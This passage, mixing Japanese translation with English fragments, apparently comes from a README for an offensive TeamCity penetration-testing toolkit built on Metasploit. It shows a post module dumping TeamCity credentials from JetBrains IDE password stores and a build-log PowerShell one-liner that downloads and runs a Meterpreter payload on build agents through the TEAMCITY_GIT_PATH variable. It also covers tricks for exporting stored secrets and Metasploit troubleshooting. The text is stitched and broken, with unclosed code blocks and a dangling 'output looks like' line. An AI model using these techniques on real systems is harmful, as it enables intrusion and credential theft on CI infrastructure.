出力は次のようになります：```
msf exploit(multi/handler) > use post/jetbrains
msf post(jetbrains) > set session 5
session => 5
msf post(jetbrains) > exploit

[*] Running as user 'WIN10\root'...
[*] Profile path: C:\Users\root\
[*] Found potential JetBrains dir: .PyCharm2017.2
[*] Found pdb file: C:\Users\root\.PyCharm2017.2\config\pdb.pwd
[*] Found kdbx file: C:\Users\root\.PyCharm2017.2\config\c.kdbx
[*] CryptUnprotectData successful
[*] IV length: 16
[*] Master password: yrEHFsgqLasoN87/fuH8TbME5Vn1OMmdRiTy+B05s9M
[*] TeamCity: http://my_teamcity_server.local
[*] Username: my_teamcity_login
[*] Password: my_teamcity_password
[*] Post module execution completed

8\. Run personal custom build on all compatible agents

![Run build](https://assets.kitploit.com/production/public/readmes/1821/13e0ed80e97414169177b89b62ba1abbd621cbb14af21adaaeeec781ad3e9806.png)

## Shell on Windows build agents

By default `Project Developer` cannot modify/create build steps.

So it's not possible to add and execute our malicious command line.

We can try to bypass this on Windows using [Custom environment variables ](https://confluence.jetbrains.com/display/TCD10/Predefined+Build+Parameters#PredefinedBuildParameters-AgentEnvironmentVariables). How?

Teamcity supports [git checkout on agent](https://confluence.jetbrains.com/display/TCD10/VCS+Checkout+Mode).

Before build step execution, agent is downloading newest data from git server:```java
path = (String)build.getSharedBuildParameters().getEnvironmentVariables().get("TEAMCITY_GIT_PATH");
if (path != null)
{
Loggers.VCS.info("Using git specified by TEAMCITY_GIT_PATH: " + path);
}
else
{
path = defaultGit();
Loggers.VCS.info("Using default git: " + path);
}

![環境変数を使ってビルド](https://assets.kitploit.com/production/public/readmes/1821/511202e7fe7a7cdebf304ecae6bfc543e845a73df55cc880ee102d5fcb17ba6f.png)

ビルドログでは次のように表示されます：```
[2018-01-30 20:54:55,342]   INFO -      jetbrains.buildServer.VCS - Using git specified by TEAMCITY_GIT_PATH: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';"

[2018-01-30 20:54:55,343]   INFO -      jetbrains.buildServer.VCS - [c:\TeamCity\buildAgent\bin\.]: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version
[2018-01-30 20:55:02,718]   WARN -      jetbrains.buildServer.VCS - '"C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version' command failed.
exit code: 1
stderr: version : The term 'version' is not recognized as the name of a cmdlet, functio
n, script file, or operable program. Check the spelling of the name, or if a pa
th was included, verify that the path is correct and try again.
At line:1 char:368
+ ... ar', 'C:\teamcity\buildAgent\temp\buildTmp\meterpreter.jar.jar'; version
+                                                                   ~~~~~~~
    + CategoryInfo          : ObjectNotFound: (version:String) [], CommandNotF
   oundException
    + FullyQualifiedErrorId : CommandNotFoundException

Now you can login using: `http://teamcity/login.html?super=1`

## 保存された認証情報

TeamCityは、`VCSルートパスワード`、`パスワードパラメータ`、`SSHキー`などの情報を暗号化して保存し、WebやAPIインターフェースではその内容を表示しません。

ただし、`エクスポート`機能を使用することでこれを回避できます。**Your project->Settings Export->Export**に移動します。

![Project export](https://assets.kitploit.com/production/public/readmes/1821/767b81ac9f2ffb885af6d11864fc3926e7972adcaa44a731c314f0f3601174e0.png)

これらのファイルは次のようになります：

``````xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" uuid="b7c3d616-ddd2-456c-b80d-95d0761bad39" xsi:noNamespaceSchemaLocation="http://www.jetbrains.com/teamcity/schemas/2017.2/project-config.xsd">
  <name>exploiter</name>
  <parameters />
  <project-extensions>
    <extension id="PROJECT_EXT_2" type="OAuthProvider">
      <parameters>
        <param name="displayName" value="Docker Registry" />
        <param name="providerType" value="Docker" />
        <param name="repositoryUrl" value="https://docker.io" />
        <param name="secure:userPass" value="zxxyour_encrypted_passwords" />
        <param name="userName" value="my_user_name" />
      </parameters>
    </extension>
  </project-extensions>
  <cleanup />
</project>

出力は次のようになります：

追加オプション:

| 名前 | 説明 |
|:---:|:---:|
|PROJECT_ID|プロジェクトIDを指定（デフォルトでは新しいランダムプロジェクトを作成）|
|BUILD_TYPE_ID|ビルドタイプIDを指定（デフォルトでは新しいランダムビルドタイプを作成）|
|VCS_ID|VCS IDを指定（デフォルトでは新しいランダムVCSを作成）|
|CLEANUP|作成したプロジェクト/ビルド/VCSルートを削除|
|SERVER_PLUGIN|[serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)へのパス|
|GIT_PATH|GITディレクトリへのパス|

# トラブルシューティング

  1. Metasploitモジュールを読み込めない

  `teamcity.rb`を`~/.msf4/modules/exploits`に、`jetbrains.rb`を`~/.msf4/modules/post`ディレクトリにコピーしたか再確認してください。
  Metasploitでは、エクスプロイトモジュールは`exploits`ディレクトリ内に、ポストモジュールは`post`ディレクトリ内にある必要があります。

  2. 警告！以下のモジュールを読み込めませんでした！LoadError: cannot load such file -- kdbx

  [kdbxモジュール](#installation)をインストールしましたか？インストール済みの場合は、Metasploitを終了して再度起動してください。`reload_all`コマンドを使用してください。

  3. Mac/LinuxにインストールされたIDEからパスワードを取得できない

  現在はWindowsのみ対応しています。申し訳ございません。

  4. Post failed: Rex::Post::Meterpreter::RequestError stdapi_railgun_api: Operation failed: 1

  おそらくJavaメーターを使用しています。必要なAPIが不足しています。`windows/meterpreter/reverse_tcp`に移行して再試行してください。

  5. SYSTEMとして実行中、データを復号化できない

  パスワードは`CryptUnprotectData` APIを使用して暗号化されているため、復号化機能は通常のユーザーアカウントコンテキストで実行する必要があります。

  6. [サーバー上のシェル](#shell-on-server)を取得できない

  エクスプロイトをもう一度実行してください。

  7. 現在のユーザーに十分な権限があるのに`teamcit.rb`が動作しない

  このモジュールはカスタムロールをサポートしていません。

  8. %path%内にgitが見つかりません。GIT_PATHを変更してください

  メーターをホストするGitサーバーをセットアップするには、`git`と`git-upload-pack`バイナリが必要です。[こちら](http://stewartjpark.com/2015/01/02/implementing-a-git-http-server-in-python.html)のアイデアを利用しています。

    ```
    set GIT_PATH /your/path/to/git/dir
    ```

  9. `username:password`としてログインできない

  認証情報を再確認してください：

    set USERNAME your_user_name
    set PASSWORD your_password

  10. サーバープラグインが見つかりません: %path%。SERVER_PLUGINを変更してください

  [serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)が保存されている場所を指定してください

    set SERVER_PLUGIN /your/path/to/serverplugin.zip

  11. [-] Exploit failed: Rex::RuntimeError The supplied resource  is already added.

  `jobs -K`を使用してバックグラウンドジョブを強制終了してください

  12. LHOSTを0.0.0.0ではなく、特定のIPアドレスにバインドしてください

  特定のIPアドレスにバインドしてください。例：

    set LHOST 192.168.1.10  ```
  use LHOST 192.168.1.123

そして、プロジェクトIDを指定します:  ```
set PROJECT_ID test

set HttpTrace 1
set LogLevel 3